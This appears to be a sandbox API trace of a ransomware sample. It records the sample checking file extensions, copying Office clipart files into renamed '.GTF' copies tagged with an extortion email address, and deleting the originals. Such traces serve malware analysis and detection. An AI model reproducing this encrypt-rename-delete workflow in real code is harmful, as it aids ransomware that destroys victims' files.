	[0184.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.276] lstrlenW (lpString=".zip") returned 4
	[0184.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.276] lstrlenW (lpString=".rar") returned 4
	[0184.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.276] lstrlenW (lpString=".bz2") returned 4
	[0184.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.277] lstrlenW (lpString=".7z") returned 3
	[0184.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.277] lstrlenW (lpString=".dbf") returned 4
	[0184.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.277] lstrlenW (lpString=".1cd") returned 4
	[0184.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.277] lstrlenW (lpString=".jpg") returned 4
	[0184.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.277] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.277] lstrlenW (lpString="J0187847.WMF") returned 12
	[0184.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.278] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7116) returned 1
	[0184.278] CloseHandle (hObject=0x2a4) returned 1
	[0184.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf")) returned 0x220
	[0184.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.278] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.279] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0184.282] GetLastError () returned 0x0
	[0184.282] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1bcc, lpOverlapped=0x0) returned 1
	[0184.284] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1bd0, lpOverlapped=0x0) returned 1
	[0184.285] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.285] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.285] SetEndOfFile (hFile=0x2a8) returned 1
	[0184.285] CloseHandle (hObject=0x2a8) returned 1
	[0184.285] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.286] SetEndOfFile (hFile=0x2a4) returned 1
	[0184.288] CloseHandle (hObject=0x2a4) returned 1
	[0184.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf")) returned 1
	[0184.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.290] lstrlenW (lpString=".doc") returned 4
	[0184.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.290] lstrlenW (lpString=".docx") returned 5
	[0184.290] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.290] lstrlenW (lpString=".pdf") returned 4
	[0184.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.290] lstrlenW (lpString=".xls") returned 4
	[0184.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.290] lstrlenW (lpString=".xlsx") returned 5
	[0184.290] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.290] lstrlenW (lpString=".ppt") returned 4
	[0184.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.290] lstrlenW (lpString=".zip") returned 4
	[0184.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.290] lstrlenW (lpString=".rar") returned 4
	[0184.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.290] lstrlenW (lpString=".bz2") returned 4
	[0184.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.290] lstrlenW (lpString=".7z") returned 3
	[0184.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.290] lstrlenW (lpString=".dbf") returned 4
	[0184.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.290] lstrlenW (lpString=".1cd") returned 4
	[0184.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.290] lstrlenW (lpString=".jpg") returned 4
	[0184.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.291] lstrlenW (lpString=".doc") returned 4
	[0184.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.291] lstrlenW (lpString=".docx") returned 5
	[0184.291] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.291] lstrlenW (lpString=".pdf") returned 4
	[0184.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.291] lstrlenW (lpString=".xls") returned 4
	[0184.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.291] lstrlenW (lpString=".xlsx") returned 5
	[0184.291] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.291] lstrlenW (lpString=".ppt") returned 4
	[0184.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.291] lstrlenW (lpString=".zip") returned 4
	[0184.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.291] lstrlenW (lpString=".rar") returned 4
	[0184.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.291] lstrlenW (lpString=".bz2") returned 4
	[0184.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.291] lstrlenW (lpString=".7z") returned 3
	[0184.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.291] lstrlenW (lpString=".dbf") returned 4
	[0184.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.291] lstrlenW (lpString=".1cd") returned 4
	[0184.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68
	[0184.291] lstrlenW (lpString=".jpg") returned 4
	[0184.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.292] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.292] lstrlenW (lpString="J0187849.WMF") returned 12
	[0184.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.292] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7572) returned 1
	[0184.293] CloseHandle (hObject=0x2a4) returned 1
	[0184.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf")) returned 0x220
	[0184.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.293] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.293] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0184.294] GetLastError () returned 0x0
	[0184.294] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1d94, lpOverlapped=0x0) returned 1
	[0184.296] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1da0, lpOverlapped=0x0) returned 1
	[0184.297] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.297] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.297] SetEndOfFile (hFile=0x2a8) returned 1
	[0184.297] CloseHandle (hObject=0x2a8) returned 1
	[0184.297] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.297] SetEndOfFile (hFile=0x2a4) returned 1
	[0184.300] CloseHandle (hObject=0x2a4) returned 1
	[0184.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf")) returned 1
	[0184.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.301] lstrlenW (lpString=".doc") returned 4
	[0184.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.301] lstrlenW (lpString=".docx") returned 5
	[0184.301] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.301] lstrlenW (lpString=".pdf") returned 4
	[0184.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.302] lstrlenW (lpString=".xls") returned 4
	[0184.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.302] lstrlenW (lpString=".xlsx") returned 5
	[0184.302] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.302] lstrlenW (lpString=".ppt") returned 4
	[0184.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.302] lstrlenW (lpString=".zip") returned 4
	[0184.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.302] lstrlenW (lpString=".rar") returned 4
	[0184.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.302] lstrlenW (lpString=".bz2") returned 4
	[0184.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.302] lstrlenW (lpString=".7z") returned 3
	[0184.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.302] lstrlenW (lpString=".dbf") returned 4
	[0184.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.302] lstrlenW (lpString=".1cd") returned 4
	[0184.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.302] lstrlenW (lpString=".jpg") returned 4
	[0184.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.302] lstrlenW (lpString=".doc") returned 4
	[0184.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.302] lstrlenW (lpString=".docx") returned 5
	[0184.302] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.302] lstrlenW (lpString=".pdf") returned 4
	[0184.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.302] lstrlenW (lpString=".xls") returned 4
	[0184.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.302] lstrlenW (lpString=".xlsx") returned 5
	[0184.303] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.303] lstrlenW (lpString=".ppt") returned 4
	[0184.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.303] lstrlenW (lpString=".zip") returned 4
	[0184.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.303] lstrlenW (lpString=".rar") returned 4
	[0184.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.303] lstrlenW (lpString=".bz2") returned 4
	[0184.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.303] lstrlenW (lpString=".7z") returned 3
	[0184.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.303] lstrlenW (lpString=".dbf") returned 4
	[0184.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.303] lstrlenW (lpString=".1cd") returned 4
	[0184.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68
	[0184.303] lstrlenW (lpString=".jpg") returned 4
	[0184.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.303] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.303] lstrlenW (lpString="J0187851.WMF") returned 12
	[0184.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.304] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8732) returned 1
	[0184.304] CloseHandle (hObject=0x2a4) returned 1
	[0184.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf")) returned 0x220
	[0184.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.305] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.305] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0184.306] GetLastError () returned 0x0
	[0184.306] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x221c, lpOverlapped=0x0) returned 1
	[0184.491] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2220, lpOverlapped=0x0) returned 1
	[0184.492] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.492] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.492] SetEndOfFile (hFile=0x2a8) returned 1
	[0184.492] CloseHandle (hObject=0x2a8) returned 1
	[0184.492] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.492] SetEndOfFile (hFile=0x2a4) returned 1
	[0184.495] CloseHandle (hObject=0x2a4) returned 1
	[0184.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf")) returned 1
	[0184.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.500] lstrlenW (lpString=".doc") returned 4
	[0184.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.500] lstrlenW (lpString=".docx") returned 5
	[0184.500] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.500] lstrlenW (lpString=".pdf") returned 4
	[0184.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.500] lstrlenW (lpString=".xls") returned 4
	[0184.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.500] lstrlenW (lpString=".xlsx") returned 5
	[0184.500] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.500] lstrlenW (lpString=".ppt") returned 4
	[0184.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.500] lstrlenW (lpString=".zip") returned 4
	[0184.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.500] lstrlenW (lpString=".rar") returned 4
	[0184.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.500] lstrlenW (lpString=".bz2") returned 4
	[0184.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.500] lstrlenW (lpString=".7z") returned 3
	[0184.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.500] lstrlenW (lpString=".dbf") returned 4
	[0184.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.501] lstrlenW (lpString=".1cd") returned 4
	[0184.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.501] lstrlenW (lpString=".jpg") returned 4
	[0184.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.501] lstrlenW (lpString=".doc") returned 4
	[0184.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.501] lstrlenW (lpString=".docx") returned 5
	[0184.501] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.501] lstrlenW (lpString=".pdf") returned 4
	[0184.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.501] lstrlenW (lpString=".xls") returned 4
	[0184.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.501] lstrlenW (lpString=".xlsx") returned 5
